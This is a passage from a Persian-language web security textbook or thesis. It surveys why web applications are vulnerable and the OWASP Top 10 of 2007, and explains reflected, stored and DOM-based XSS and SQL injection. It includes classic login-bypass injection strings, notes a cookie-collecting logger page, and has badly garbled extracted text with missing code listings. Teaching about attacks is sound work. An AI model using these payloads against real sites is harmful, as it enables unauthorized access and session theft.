ندارد،‏ بيشتر از يك بار يا هيچ بار،‏ ثبت كنند.‏ هر فرضي كه توسعهدهندگان در مورد نحوه دخالت كاربران در برنامه هاي كاربردي كنند مي تواند غلط از آب درآيد.‏كاربران براي دستيابي به برنامه كاربردي محدود به استفاده از مرورگر وب نيستند.‏ابزارهاي زيادي-براي حمله به برنامه هاي كاربردي تحت وب وجود دارند كه در كنار مرورگرها يا به طور مستقل عملمي كنند.‏ اين ابزارها مي توانند تقاضاهايي را مطرح كنند كه به طور عادي هيچ مرورگري آنها را مطرحنمي كند؛ اين ابزارها همچنين مي توانند براي پيدا كردن واز سو استفادهمشكلات،‏ تعدادزياديتقاضا را سريعا بفرستند و بررسي كنند.‏1 Header27

اكثر حملات به برنامه هاي كاربردي تحت وب شامل فرستادن ورودي فريبنده به سرويس دهنده است،‏تا باعث ايجاداتفاقي شود كه موردخواست يا انتظار طراح برنامه كاربردي نيست.‏در زير مثال هايي ازثبت كردن داده هاي فريبنده كه منجر به رسيدن به اين هدف مي شود آمده است:‏تغيير دادن قيمت يك محصول ارسال شده درفيلدمخفي ،HTML به منظور ارزان تر خريدن آن-محصول.‏-تغيير نشانه نشست ارسال شده در يك كوكي،‏ به منظور دزديدن نشست يك كاربر معتبر ديگر.‏پاك كردن پارامترهاي مشخصي كه معمولاشوند،‏ ثبت بايدبه منظور يافتن شكافي منطقي در-پردازش برنامه كاربردي.‏نياز به گفتن نيست كه SSLاز ثبت كردن وروديفريبنده توسطمهاجم جلوگيري نمي كند.‏اگربرنامه كاربردي از SSLاستفاده كند،‏ اين به اين معناست كه ديگر كاربران شبكه نمي توانند داده درحال انتقال مهاجم را مشاهده كنند يا آن را تغيير دهند.‏ از آنجايي كه مهاجم سمت تونل SSL خود راكنترل مي كند،‏ مي تواند از طريق اين تونل هرچه مي خواهد به سرويس دهنده بفرستد.‏ اگر هر كدامFAQ 1از حملاتذكر شده موفقيت آميز بود ، برنامه كاربردي،‏ بدون توجه به اينكهچه مي گويد،‏حتما آسيب پذير است!‏1.2.2. عواملكليدي مشكل:‏مشكل اصلي امنيتي در برنامه هاي كاربردي تحت وب زماني ايجاد مي شود كه برنامه كاربردي بخواهدداده نامطمئني را كه ممكن استباشد،‏ مخربتاييد و پردازش كند.‏با اين حال،‏ در مورد برنامه هايكاربردي تحت وب،‏ فاكتورهاي زيادي وجود دارند كه اين مشكل را تشديد مي كنند،‏ و اين مسئله را كه1 Frequently Asked Question28

چرا بسياري از برنامه هاي كاربردي تحت وب بر روي اينترنت امروزه چنينتوضيح مي دهد.‏آسيب پذير هستندرا-رشد كم سطح آگاهي از امنيت وب:‏سطح آگاهي از امنيت برنامه هاي كاربردي تحت وب،‏ نسبت به زمينه هايي مانند شبكه ها و سيستم-‏عامل ها كه عمر طولاني دارند،‏ بسيار كمتر است.‏ در حالي كه بيشتر افراد شاغل در زمينه امنيت IT 1دركي معقول از موارد ضروري براي امن كردن شبكه ها و تقويت2ميزبان هادارند،‏ آشفتگي ها و-تصورات غلط زيادي در رابطه با امنيت برنامه هاي كاربردي تحت وب وجود دارد.‏توسعه در خانه:‏بيشتر برنامه هاي كاربردي تحت وب در خانه توسط كارمندان يا پيمانكارهاي خود شركت گسترش مييابند.‏ حتي هنگامي كه يك برنامه از اجزاي شخص ثالث استفاده مي كند،‏ اين اجزا تغيير داده مي شونديا با استفاده از كد جديدي با يكديگر تركيب مي شوند.‏ در اين شرايط،‏ هر برنامه كاربردي متفاوت استو مي تواندآسيب پذيري هايخاصخود را داشتهباشد.‏البته اين امر در تضاد با توسعهزيربنايسازمان در يك معمولاست كهمي تواند محصولي از بهترين نوع را خريده و آن را در راستاي خطمشي شركت نصب كند.‏- سادگي فريب دهنده:‏با محيط هاي برنامه هاي كاربردي تحت وب امروزي و ابزارهاي توسعه قدرتمند،‏ يك برنامه نويس تازهكار مي تواند،‏با كليك كردن،‏يك برنامه كاربردي قدرتمند را در مدت زمان كوتاهي ايجاد كند.‏اماتفاوت زيادي بين توليد كد عملياتي و كد امن وجود دارد.‏بسياري از برنامه هاي كاربردي تحت وب1 Information Technology2 Hosts29

-توسط كساني ايجاد شده اند كه فاقد دانش و تجربه لازم براي تشخيص اين هستند كه مشكل امنيتيكجا مي تواند اتفاق بيافتد.‏منحني تكامل سريع تهديدها:‏در كنار عدم رشد نسبي برنامه هاي كاربردي تحت وب،‏ تحقيقات در زمينه حملات و دفاع هاي برنامههاي كاربردي تحت وب زمينه اي پر رونق است كه در آن ديدگاه ها و تهديدها سريع تر از تكنولوژيهاي گذشته به دست مي آيند.‏كاملا محتمل است كه يك تيم توسعه دهنده با دانش كامل از-تهديدهاي كنوني هنگامي كه برنامه به پايان برسد ديگر چنين حالت به روزي را نداشته باشند.‏محدوديت هاي زمان و منابع:‏بسياري از برنامه هاي كاربردي تحت وب با محدوديت هاي زماني و منابع كه نتيجه تجارت درون خانهيكبار توليد وهستند مواجه مي باشند.‏معمولا امكان پذير نيست كه يك كارشناس امنيت وظيفهشناس را در تيم هايطراحي يا توسعه به كار گرفت،‏ وبنابراين تست امنيت پروژه توسط متخصصان،‏معمولا تا انتهاي چرخه حيات پروژه انجام نمي شود.‏ در متعادل كردن اولويت هاي رقابتي،‏ نياز به توليديك برنامه كاربردي عملياتي و پايدار،‏ تا مهلت تعيين شده،‏ معمولا باعث صرف نظر كردن از ملاحظاتامنيتي نامحسوس تر مي شود.‏يك شركت كوچك معمولي ممكن است مايل باشد تنها براي چند روز-كار مشاوره اي و تكامل برنامه كاربردي جديد پول پرداخت كند.‏ اگرچه يك تست نفوذ سريع مي تواندآسيب پذيري هاي واضح را پيدا كند،‏ اما ممكن است آسيب پذيري هاي مخفي و خطرناك ديگر را كهبراي شناسايي آنها نياز به زمان و صبر است،‏ تشخيص ندهد.‏تكنولوژي هاي زياده از حد گسترش يافته:‏بسياري از تكنولوژي هاي اصلي پياده سازي شده در برنامه هاي كاربردي وب زماني به وجود آمدند كهچشم اندازWorld Wide Webبسيار با چيزي كه امروزه است متفاوت بود،‏ و از آن به بعد فراتر از30

هدف هاي اوليه اي كه براي آنها تعريف شده بود كشيده شدند،‏ براي مثال،‏ استفاده ازJavaScriptبهعنوان ابزاري براي ارسال داده در بسياري از برنامه هاي كاربردي .AJAXاز آنجاييكه انتظارات ازوظايف برنامه هاي كاربردي تحت وب به سرعت افزايش مي يابد،‏ تكنولوژي هايي كه اين وظايف راپياده سازي مي كردند در منحني عقب مانده اند،‏ درحاليكه تكنولوژي هاي قديمي گسترش يافته اند وبا نيازهاي جديد هماهنگ شده اند.‏تعجب برانگيز نيست كه با پديدار شدنوظايفجانبي پيش بينينشده،‏ اين امر خود منجر به آسيب پذيري هاي امنيتي شده است.‏.2.2.2محيط جديد امنيت:‏قبل از پيشرفت برنامه هاي كاربردي تحت وب،‏ تلاش هاي شركت هابراي امن كردن خود در مقابلحملاتخارجي بر محيط شبكه متمركز بود.‏دفاع از اين محيط مستلزم گذاشتن ديوار آتش در مقابلدسترسي ديگران و امن كردن و وصله زدن سرويس هايي بود كه در معرض خطر قرار داشت.‏برنامه هاي كاربردي تحت وب همه اين چيزها را تغيير داده اند.‏براي آنكه يك برنامه كاربردي توسطكاربرانش قابل دسترسي باشد،‏ ديوار آتش محيط بايد امكان اتصالات دروني را به سرويس دهنده بررويبدهد.‏HTTP/S و براي اينكه يك برنامه كاربردي كار كند،‏ سرويس دهنده بايد امكان اتصال بهسيستم هاي كناري ، مانند پايگاه هاي داده،‏mainها frameو سيستم هاي منطقي و مالي را داشتهباشد.‏اين سيستم ها معمولا در مركز عمليات شركت هستند و در پشت لايه هاي بسيار از دفاع هايسطح شبكه قرار دارند.‏اگر يك آسيب پذيري در يك برنامه كاربردي تحت وب وجود داشته باشد،‏ مهاجمي در اينترنت عموميمي تواند سيستم هاي مركزيجانبيشركت را تنها بافرستادن داده هاي فريبندهاز مرورگر خود به31

بياندازد.‏ خطراين داده از تمام دفاع هاي شبكه شركت،‏به همان صورت كه از شبكه هاي عادي عبورميكند،‏ عبور خواهد كرد و مانند ترافيك معمولي وب به نظر مي رسد.‏اثر گسترش زياد برنامه هاي كاربردي اين است كه محيط امنيتي يك سازمان جابجا شده است.‏ بخشياز محيط همچنان در ديوارهاي آتش وميزبانهاي مستحكم قرار دارد.‏اما بخش قابل توجهي از آناكنون توسط برنامه هاي كاربردي تحت وب شركت اشغال شده است.‏ به علت راه هاي گوناگون دريافتداده هاي كاربر در برنامه هاي كاربردي و انتقال آن به سيستم هاي جانبي حساس،‏ اين برنامه ها دروازههاي بالقوه اي براي محدوده وسيعي از حمله ها هستند،‏ و دفاع در مقابل اين حمله ها بايد در خود اينبرنامه ها پياده سازي شود.‏تنها يك خط كد ناقص در تنها يك برنامه كاربردي مي تواند سيستم هايداخلي شركت را آسيب پذير كند.‏بايد توجه داشت كه هدف گرفتن يك شركت،‏ دست يابي به شبكه يا اجراي دستورهاي دلخواه بر رويسرويس دهنده ها ممكن است واقعا آن چيزي نباشد كه مورد نظر مهاجم است.‏معمولا،‏ چيزي كهمهاجم واقعا مي خواهد،‏انجام برخي كارها در سطح برنامه كاربردي ماننددزديدن اطلاعات شخصي،‏انتقال پول يا انجام خريدهاي ارزان است.‏ و تغيير مكان محيط امنيتي به لايه برنامه كاربردي مي تواندبه مهاجم براي رسيدن به اين اهداف كمك زيادي بكند.‏براي مثال،‏ فرض كنيد يك مهاجم مي خواهد به يك سيستم بانكي نفوذ كرده و پول را از حساببدزدد.‏ كاربرانقبل از آنكه بانك برنامه هاي كاربردي را گسترش دهد،‏ مهاجم مي بايست يك آسيبDMZ 1پذيري دريك سرويسعموميپيدا كند،‏ از آن براي به دست اوردنبانك استفاده كرده،‏ ازديوار آتشي كه دسترسي به سيستم هاي داخلي آن را محدود مي كند عبور كند،‏ نقشه شبكه را بكشدتا كامپيوتر اصلي را پيدا كند،‏ پروتكل محرمانه اي كه براي دسترسي به آن به كار مي رود را رمزگشاييكند،‏ و سپساعتبارنامه هاييرا براي ورود به سيستم حدس بزند.‏با اين حال،‏ اگر بانك از يك برنامه1 De-Militarized Zone32

كاربردي آسيب پذير استفاده كند،‏ ممكن است مهاجم بتواند با تنها تغيير يك شماره حساب در يكفيلد پنهان يك فرم HTML به همان نتيجه قبلي برسد.‏دومين شيوهكه از طريق آنبرنامه هاي كاربردي تحت وب محيط امنيتي را تغيير داده اند ازتهديدهايي كه كاربران هنگام دسترسي به يك برنامه كاربردي آسيب پذير با آن مواجه مي شوند برميخيزد.‏يك مهاجممخربمي تواند از يك برنامه كاربردي بي خطر اماآسيب پذير براي حمله به هركاربري كه وارد آن مي شود استفاده كند.‏اگر آن كاربر در يك شبكه داخلي قرار داشته باشد،‏ مهاجممي تواند از مرورگر كاربر براي ايجاد يك حمله عليه شبكه محلي از طريق موقعيتقرباني كاربر فعلياستفاده كند.‏بدون هيچ گونه كمكي از طرف كاربر،‏ ممكن است مهاجم بتواند هركاري را كه اگر كاربرآدم مخربي بود انجام مي داد،‏ انجام دهد.‏مديران شبكه با ايده جلوگيري از رفتن كاربران خود به وب سايت هاي خطرناك آشنا هستند و كاربرانبه تدريج خود بيشتر از اين تهديد ها آگاه مي شوند.‏ اما ماهيت آسيب پذيري هاي برنامه هاي كاربرديتحت وب به اين معناست كه يك برنامهآسيب پذير براي كاربران و شركت آنها،‏تهديدي كمتر از وبسايتي كه به وضوحمتناظرا،‏ نيست.‏ است،‏ مخربمحيط امنيتي جديد وظيفه حفاظت را برعهدهصاحبانبرنامه هاي كاربردي مي گذاردتا كاربران خود را در مقابل حملات انجام شده از طريق برنامهكاربردي محافظت كنند.‏.3.2.2آينده امنيت برنامه هاي كاربردي تحت وب:‏سال ها بعد از پذيرش گسترده برنامه هاي كاربردي تحت وب روي اينترنت،‏ مانند امروز همچنان پر ازآسيب پذيري هستند.‏ درك تهديدهايي كه برنامه هاي كاربردي تحت وب با آنها مواجه هستند،‏ و راه33

هاي موثر براي جلوگيري از آنها،‏ در صنعت همچنان رشد نيافته باقي مي ماند.‏اين امر نشانه كوچكياست از اينكه فاكتورهاي مشكل كه در گذشته بحث شد در آينده اي نزديك از بين خواهند رفت.‏جزئيات چشم انداز امنيتي برنامه هاي كاربردي تحت وب ثابت نيستند.‏ درحالي كه آسيب پذيري هايقديمي و شناخته شده مانند تزريق SQLهمچنان پديدار مي شوند،‏ درجه شيوع آنها دارد به تدريجكم مي شود.‏علاوه بر آن،‏ پيدا كردن و استخراج موارد باقي مانده سخت تر مي شود.‏بيشتر تحقيقاتكنوني روي توسعه تكنيكهاي پيشرفته براي حملهتر عليه ماهرانهآسيب پذيري هايي كه در چندسال گذشته به راحتي تشخيص داده مي شدند و با استفاده از مرورگر مورد سو استفاده قرار ميگرفتند،‏متمركز شده است.‏دومين گرايشمهم،‏جابجايي تدريجياز توجهحملات سنتي عليهبرنامه كاربرديسمت سرويسدهندهبه حملاتي كهكاربرانرا هدف قرار مي دهد است.‏نوع دوم حمله همچنان از نقص هايي دردرون برنامه كاربردي استفاده مي كند،‏ اما معمولاشامل ارتباطبا يك كاربر ديگر نيز مي شود،‏ تاارتباطات آن كاربر را با برنامه كاربردي آسيب پذير به خطر اندازد.‏ اين گرايشي است كه در ديگر زمينههاي امنيت نرم افزاري نيز تكرار شده است.‏با بيشتر شدن آگاهي از حمله هاي امنيتي،‏ شكاف هايسمت سرويس دهنده اولين شكاف هايي هستند كهبرطرف و كشفمي شوند وآسيب پذيري هايسمت كاربر را همچنان كه يادگيري ادامه پيدا مي كند به عنواننبرد يككليدي باقي مي گذارند.‏ازتمام حمله هاي تشريح شده در اينجا،‏ آنهايي كه عليه كاربران ديگر است سريعتر از بقيه تكامل مي-‏يابند،‏ و بسياري از تحقيقات روي آنها متمركز شده اند.‏.3.2مهمترين آسيب پذيري هاي برنامه هاي كاربردي تحت وب:‏34

يكي از گروه هايي كه به طور مداوم در امر امنيت وب فعاليت مي كند و فهرست آسيب پذيري ها وحملاتش از سايرين جامعتر و كاملتر است،‏ اجتماع OWASP 1مي باشد.‏ اين جامعيت به گونه ايستكه مدارك و اطلاعات اين اجتماع،‏ به عنوان مرجع امنيت وب در بسياري از پروژه هاي ديگر امنيتياستفاده مي شود.‏ OWASP طبق جدول زير مهمترين آسيب پذيري هاي سال 2007اعلام كرده است:‏را به اين شرحOWASP Top 10 2007 جدول OWASP Top 10 2004 MITRE 2006Raw RankingA1 ‐ Cross Site Scripting (XSS) A4 ‐ Cross Site Scripting (XSS) 1A2 ‐ Injection Flaws A6 ‐ Injection Flaws 2A3 ‐ Malicious File Execution3(NEW)A4 ‐ Insecure Direct Object A2 ‐ Broken Access Control (split5Referencein 2007 T10)A5 ‐ Cross Site Request Forgery36(CSRF) (NEW)A6 ‐ Information Leakage and A7 ‐ Improper Error Handling 6Improper Error HandlingA7 ‐ Broken Authentication and A3 ‐ Broken Authentication and14Session ManagementSession ManagementA8 ‐ Insecure CryptographicA8 ‐ Insecure Storage 8StorageA9 ‐ Insecure Communications Discussed under A10 ‐ Insecure8(NEW) Configuration ManagementA10 ‐ Failure to Restrict URL A2 ‐ Broken Access Control (split14Accessin 2007 T10) A1 ‐ Unvalidated Input 7 A5 ‐ Buffer Overflows 4, 8, and 10 A9 ‐ Denial of Service 17 A10 ‐ Insecure ConfigurationManagement29OWASP220071-2 10آسيب پذيري مهم سالبا توجه به سايت1 Open Web Application Security Project (http://www.owasp.org)2 http://www.owasp.org/index.php/Top_10_2007-Methodology35

OWASPاين اطلاعات را بر اساسMITRE 1اعلام كرده است كه آمار زير را ارائه داده است:‏10 1-2 شكلآسيب پذيري مهم برنامه هاي كاربردي تحت وب در سال20062- 2 شكلنيز نتيجه تحقيقات نويسنده كتابThe Web Application Hacker’s Handbookرا روي بيشتر از صد سايت نشان مي دهد.‏ اين مقدار دقيق درصدها و ضرايب نيست كه براي ما اهميتدارد،‏ بلكه ما به دنبال مهمترين آسيب پذيري هاي برنامه هاي كاربردي تحت وب براي مطرح كردنآنها هستيم.‏ گفتنيست در فصل بعد روش هاي مقابله با اين آسيب پذيري ها و چگونگي پيدا كردن آنهامورد بحث اصلي خواهد بود.‏1 http://cwe.mitre.org/documents/vuln-trends/index.html36

The Web Application Hacker’sشكل 2-2آمار آسيب پذيري هاي برنامه هاي كاربردي تحت وب از كتابHandbookبدين ترتيب مهمترين آسيب پذيري ها با توجه به اين تحقيقات به صورت زير خواهند بود:‏1. Cross Site Scripting (XSS)2. Injection Flaws3. Malicious File Execution4. Insecure Direct Object Reference (Broken Access Control)5. Cross Site Request Forgery (CSRF)6. Information Leakage and Improper Error Handling7. Broken Authentication and Session Management8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access (Broken Access Control)كه در ادامه به توضيح آنها مي پردازيم.‏37

.1.3.2آسيب پذيري:Cross Site Scripting (XSS)اين آسيب پذيري در واقع زيرمجموعه آسيب پذيري تزريق كدهاي HTML محسوب مي شود.‏ XSSشايع ترين آسيب پذيري خطرناك برنامه هاي كاربردي تحت وب است كه متاسفانه به اشتباه توسطبرنامه نويسان و توسعه دهندگان برنامه هاي كاربردي تحت وب جدي گرفته نمي شود.‏اين آسيبپذيري زماني اتفاق مي افتد كه برنامه كاربردي دادههايي راكه از كاربرمي گيرد بدون هيچگونه1اعتبارسنجي يا رمزگذاري و يا با اعتبار سنجي ضعيف،‏ به طرف مرورگر وب بفرستد.‏ XSS به مهاجم2اجازه مي دهد تا اسكريپتهاي خود را روي مرورگر قرباني اجرا كند؛ با اين كار مهاجم مي تواند3عملياتي نظير دزديدن نشست هاي كاربر،‏ تغيير شكل وب سايت،‏ ورود محتواي مخرب،‏ هدايت حملات5و به دست گرفتن مرورگر كاربر با استفاده از اسكريپت هاي بدافزار را انجام دهد.‏ نكته4كلاهبرداريقابل توجه اين است كه در حمله XSS برنامه كاربردي تحت وب تنها يك وسيله براي رساندن كدهايمخرب مهاجم به كاربران نهايي است و در اين حمله به خود برنامه كاربردي و يا سرويس دهنده وب ازلحاظ ماهيتي آسيبي وارد نمي شود و اين كاربر نهايي است كه با تغيير محتوا فريب مي خورد يا ازكدهاي مخرب اين حمله آسيب مي بيند.‏ در اين حمله مرورگر وب نقش بسزايي دارد،‏ چرا كه نفوذگرانبايد كدهايHTMLاي به صفحات تزريق كنند كه در مرورگرهاي مختلف قابل اجرا باشد تا طيفوسيعي از كاربران را فرا بگيرد.‏در بيشتر حملاتXSS امروزي،‏ دور زدن هوشمندانه فيلترهاي ضد6XSS و استفاده از مهندسي اجتماعي است كه مهاجمان را به اهدافشان در اجراي اين حملات ميرساند.‏1 Encoding2 Script3 Session4 Phishing5 Malware6 Social Engineering38

1تمامي چهارچوبهاي برنامه هاي كاربردي تحتوب مي توانند اين آسيب پذيري را داشته باشند.‏JSP و ASP صفحاتنيز از اين قاعده مستثني نيستند؛ تا جاييكه به دليل اشتباهات برنامه نويسي ونبود يك بررسي كننده جامع مانند آنچه در ASP.Netموجود است تقريبا در اكثر برنامه هايكاربردي تحت وب با اين زبان ها،‏ حملات XSS متعددي مي توان يافت.‏تا به حال سه نوع حمله XSS2شناسايي شده است . XSS XSS) Reflected بازتاب شده)‏ اوليننوع و ساده ترين نوع و شايعترين نوع حمله XSS است.‏ در اين حالت يك صفحه تمام داده هاي كاربررا مستقيما به كاربر برميگرداند.‏Reflected XSSدر كد هاي زير به زبان ASPآسيب پذيرينمايش داده شده است.‏اين كدهاقسمتي از يك صفحه ASP براي نمايش اخبار است:‏در اينجا پارامترTitle كه با متد Getدريافت مي شود مي تواند هر مقداري را اختيار كند.‏ همان طوركه ديده مي شود،‏ اين پارامتر بدون هيچگونه بررسي خاص در سايت قرار مي گيرد.‏از آنجايي كه اينپارامتر مي تواند كدهاي HTML نيز اختيار كند،‏ مي توانيم اسكريپت هاي خود را در اين پارامتر قرارداده و سپس لينك آن را براي يك كاربر بفرستيم تا با كليك روي آن كدهاي اسكريپت در مرورگر ويبه اجرا درآيند.‏شكل زير استفاده از اين آسيب پذيري را با مرورگرMozilla Firefox 2 در اينصفحه ASPنشان مي دهد:‏1 Frameworkب ه نقل از سايت ويكي پديا ‏(ارديبهشت ( 1387 2008 2 May39

شكل3-2 آسيب پذيري Reflected XSSهمان طور كه در شكل بالا مي بينيد در اينجا پارامتر Titleبرابر با كد HTMLقرار گرفت كه ابتدا1تگ را بست و سپس با تگ يك اسكريپت به زبان JavaScript كه پيغامي راHTMLنمايش مي داد اجرا كرد.‏بدين ترتيب كدهايكه به كاربر ارسال مي شود،‏ به صورت زيراست:‏XSSدسته دوم اين آسيب پذيري Stored XSSياذخيره شده نام دارد كه كاربران بيشتري را درمعرض خطر،‏ به دليل نوع خاص حمله كه از نوع ذخيره شونده است،‏ قرارمي دهد.‏در اين حالت،‏در يك فايل،‏ پايگاه داده،‏ يك تصوير و يا ساير قسمت هاي backendيك سيستمكدهاي HTMLكه قرار است به كاربران يا مديران سايت نمايش داده شود بدون بررسي ذخيره مي شوند.‏ در مرحله بعدوقتي كاربري در صفحه اي كه اين كدها در آن نمايشمي يابندقرار مي گيرد،‏ مهاجم به هدف خوددست مي يابد.‏ سيستم هاي نظير CMSها،‏ وبلاگ ها يا تالارهاي گفتگو كه تعداد زيادي بازديد كننده1 Tag40

و كاربر دارند خطرناك ترين قسمت ها براي اجراي اين نوع حمله هستند.‏همچنين سرويس دهندههاي پست الكترونيكي نيز اهدافي رايج براي انجام اين گونه حملات به منظور دزديدن اطلاعات يانشست كاربر است.‏نوع سوم آسيب پذيريDOM 1 based XSS ،Cross Site Scriptingاست.‏ از اين آسيب پذيريHTMLگاهي به عنوان Local XSSنيز ياد مي شود،‏ چرا كه اجراي كدهايبه وسيله اسكريپتهايي كه در سمت كاربر وجود دارند اتفاق مي افتد و از سمت سرويس دهنده كدهاي HTMLعارياز هرگونه حمله XSS هستند.‏ در واقع اين مشكل به دليل اسكريپت هاي سمت كاربر پيش مي آيد كهپارامترهاي ورودي هاي يك صفحه را مي گيرند و با آن ورودي ها كارهاي خاصي بنا به كاربرد،‏ از قبيلReflected XSSنوشتن آنها روي صفحه،‏ انجام مي دهند.‏اجراي اين آسيب پذيري شبيهاست ولينك مربوط بايد توسط كاربر نهايي اجرا شود.‏تنها تفاوتي كه وجود دارد به نحوه اجراي اسكريپت هاتوسط مرورگر كاربر نهايي برميگردد كه در اين حالت خطرناكتر است.‏ چرا كه ممكن است اسكريپت هابا مجوز فعلي كاربر سيستم اجرا شده و امكان دسترسي به فايل هاي سيستم توسط سايت كه در حالتInternetعادي امكان ندارد فراهم شود.‏البته اين نحوه اجرا با آمدن مرورگرهاي جديد مانندExplorer 7تقريبا يكسان شده است.‏ مهم آنكه با آمدن تكنيكهاي جديد مانند AJAX امكان وقوعاين دسته از آسيب پذيري بسيار بيشتر از گذشته شده است.‏نكته ديگر آنكه در اين نوع حمله مهاجممي تواند با استفاده از تكنيك هايي،‏ وقوع حمله را از ديد سرويس دهنده كاملا مخفي نگه دارد.‏كد زير يك اسكريپت آسيب پذير را در يك صفحه ASPدهد:‏براي آزمايش اين آسيب پذيري نشان مي1 Document Object Model41

و شكل زير استفاده از اين آسيب پذيري را با استفاده ازIE7 1نشان مي دهد:‏شكل4-2 آسيب پذيري DOM Based XSS2بايد توجه داشت كه تغيير مسير دادن يك مرورگر به آدرس دلخواه نيز مي تواند از مصاديقXSSباشد؛ چرا كه با استفاده از تغيير دادن آدرس URL يك مرورگر،‏ مي توان اسكريپت ها را روي قربانياجرا كرد.‏در يك حملهواقعي كدهايJavaScript به گونه اي نوشته مي شوند تا بدون اينكه كاربرXSSمتوجه شود،‏ عمليات مخربي عليه او انجام شود و براي نمونه نشست وي براي مهاجم فرستاده شود.‏مهاجمان در اين گونه عمليات دزديدن اطلاعات،‏ از يك صفحه وب كه هرچه داده به طرف آن ارسالمي شود را ذخيره مي كند،‏ استفاده مي كنند و داده هاي كاربران را به سمتيك فرستند.‏ آن مي1 Internet Explorer 72 Redirect42

برنامه كاربردي تحت وب ساده كه به منظور ذخيره داده هاي كاربران از آن استفاده مي شود،‏ بهزبانASP-Loggerتوسط نويسنده اين پروژه طراحي شده كه در CDضميمه با نامموجودASPميباشد.‏در فصول بعد راجع به راه هاي پيدا كردن اين آسيب پذيري و روش جلوگيري آن سخنخواهيم گفت.‏2.3.2آسيب پذيري هاي:Injection FlawsSQL Injectionآسيب پذيري هاي نوع Injection Flawsبه خصوصدر برنامه هاي كاربرديتحت وب بسيار رايج هستند و صفحات ASPو JSPنيز در مقابل آن ها به شدت آسيب پذيرند.‏ انواع،XSLT،XPath،LDAP،SQLمختلفي injectionو يا به عبارت ديگر تزريق داريم مانند:‏،XML ،HTML تزريق فرامين سيستم عامل و بسياري ديگر.‏ اين آسيب پذيري وقتي اتفاق مي افتد1كه داده هايي كه كاربر مي فرستد به عنوان يك فرمان يا پرس و جوبه مفسر ارسال مي شود.‏مهاجمان مفسر را به اجراي ناخواسته فرمان هايي كه به صورت مخصوص ساخته اند مجبور مي كنند.‏آسيب پذيري هاي تزريق مهاجم را قادر مي سازد تا دادههاي دلخواه براي يك برنامه كاربردي رابسازد،‏ بخواند،‏ به روز و يا حذف كند.‏در بدترين حالت اين آسيب پذيري مي تواند باعث شود تا يكمهاجم به صورت كامل برنامه كاربردي را تخريب كند و مجوز سيستم را به دست آورد و حتي از محيطهايي با ديوارهاي آتش متعدد عبور كند.‏Injection FlawsJSPASPحال آسيب پذيري SQL Injectionرا كه درواز بقيه حملاترايجتر و پركاربردتر است بررسي مي كنيم.‏ در اين روش حمله،‏ نفوذگر به جاي ورود دادههايي كه درونQueryيك Queryاز نوع،SQL جاسازي مي شود،‏هاي مورد نظر خود را قرار ميدهد و از آندادهها در راستاي اهداف خود استفاده ميكند.‏ تقريباً‏ در اكثر برنامههاي كاربردي تحت وب،‏ به نحوي از1 Query43

بانك اطلاعاتي استفاده ميشود.‏اين برنامهها از طريق وب،‏ دادههاي ورودي كاربر را دريافت و براساسآن يك Queryروي بانك اطلاعات خود ارسال ميكنند.‏حال اگر داده هايدريافتي،‏ قبل از ساختهQuery شدنبررسي نشده باشند،‏ نفوذگر به راحتي ميتواند هر نوعQueryQueryاي را به بانك اطلاعاتيارسال كند.‏ اگر با مجوز بالايي در بانك اطلاعاتي اجرا شود،‏ چه بسا نفوذگر بتواند كنترل كاملسرويس دهنده پايگاه داده را به دست گيرد.‏كدهاي زير مثالي از اين آسيب پذيري است:‏SQLQueryهمانطور كه مشاهده مي شود،‏ پرس و جويپايگاه داده توسط رشتهانجام مي شود واگر نتيجه اين درخواست از پايگاه داده تهي نباشد،‏ كاربر به سيستم وارد مي شود.‏حال اگر برايپارامترهاي ورودي مقادير زير را داشته باشيم:‏Username= ‘ or ‘1’=’1Password= ‘ or ‘1’=’1رشته SQLQueryبه صورت زير در مي آيد:‏و واضح است كه نتيجه اين پرس و جو از پايگاه داده برابر با انتخاب تمامي فيلدها از پايگاه داده بوده ودر نتيجه بدون داشتن نام كاربري و رمز عبور مي توان وارد سايت شد.‏حتي براي دقيق تر كردنانتخاب،‏ ورودي ها مي توانستند به صورت زير باشند:‏Username= adminPassword= ‘ or username=’admin44كه در اين صورت براي SQLQuery داريم:‏

و در اينجا نيز با نام كاربري adminبه سايت وارد مي شويم.‏اگرچه اين مثال بيشتر جنبه آموزشيدارد و برنامه نويسان امروزه راجع به صفحات ورودي سايت در مورد كنترل ورودي ها دقيق عمل ميكنند،‏ با اين حال حتي اگر SQL Injectionدر يك قسمت ديگر مانند قسمت اخبار يك سايت همSQL Injectionباشد باز مي تواند به همين اندازه خطر آفرين باشد.‏علت آنست كه توسط يكدريك قسمت ديگر،‏ مهاجم مي تواند نام كاربري و رمز عبور مدير سايت را پيدا كند يا آنها را تغيير دهد.‏كدهاي زير يك صفحه اخبار را كه نسبت به حمله SQL Injection آسيب پذير است نشان مي دهد:‏در اينجا نفوذگر دو استفاده از SQL Injectionمي كند.‏يكي آنكه با استفاده از خطاهاي برگشتيتوسط پايگاه داده،‏ اطلاعات خود را راجع به سيستم افزايش مي دهد.‏و ديگري آنكه با استفاده ازUnionبه ساختار پايگاه داده پي برده و ساير فيلدهاي جداول ديگر را مي خواند ‏(در صورتي كه كاربرجاري پايگاه داده كه توسط برنامه نويس تعيين شده،‏ به او اجازه اين كار را بدهد).‏خواننده علاقه مندمي تواند براي پيدا كردن دستورات خاص هر پايگاه داده،‏ به صفحه ترفند هاي Injectionآن يا بهعبارت ديگرCheat Sheetآن مراجعه نمايد كه با يك جستجوي ساده درGoogleآخرين منابع به1روز به دست مي آيند .در فصل هاي بعدي بيشتر راجع به اين آسيب پذيري براي پيدا كردن آن وهمچنين روش جلوگيري از وقوع آن صحبت خواهيم كرد.‏.3.3.2 آسيب پذيري :Malicious File Execution1 http://www.google.com/search?safe=off&q=SQL+Injection+Cheat+Sheet45

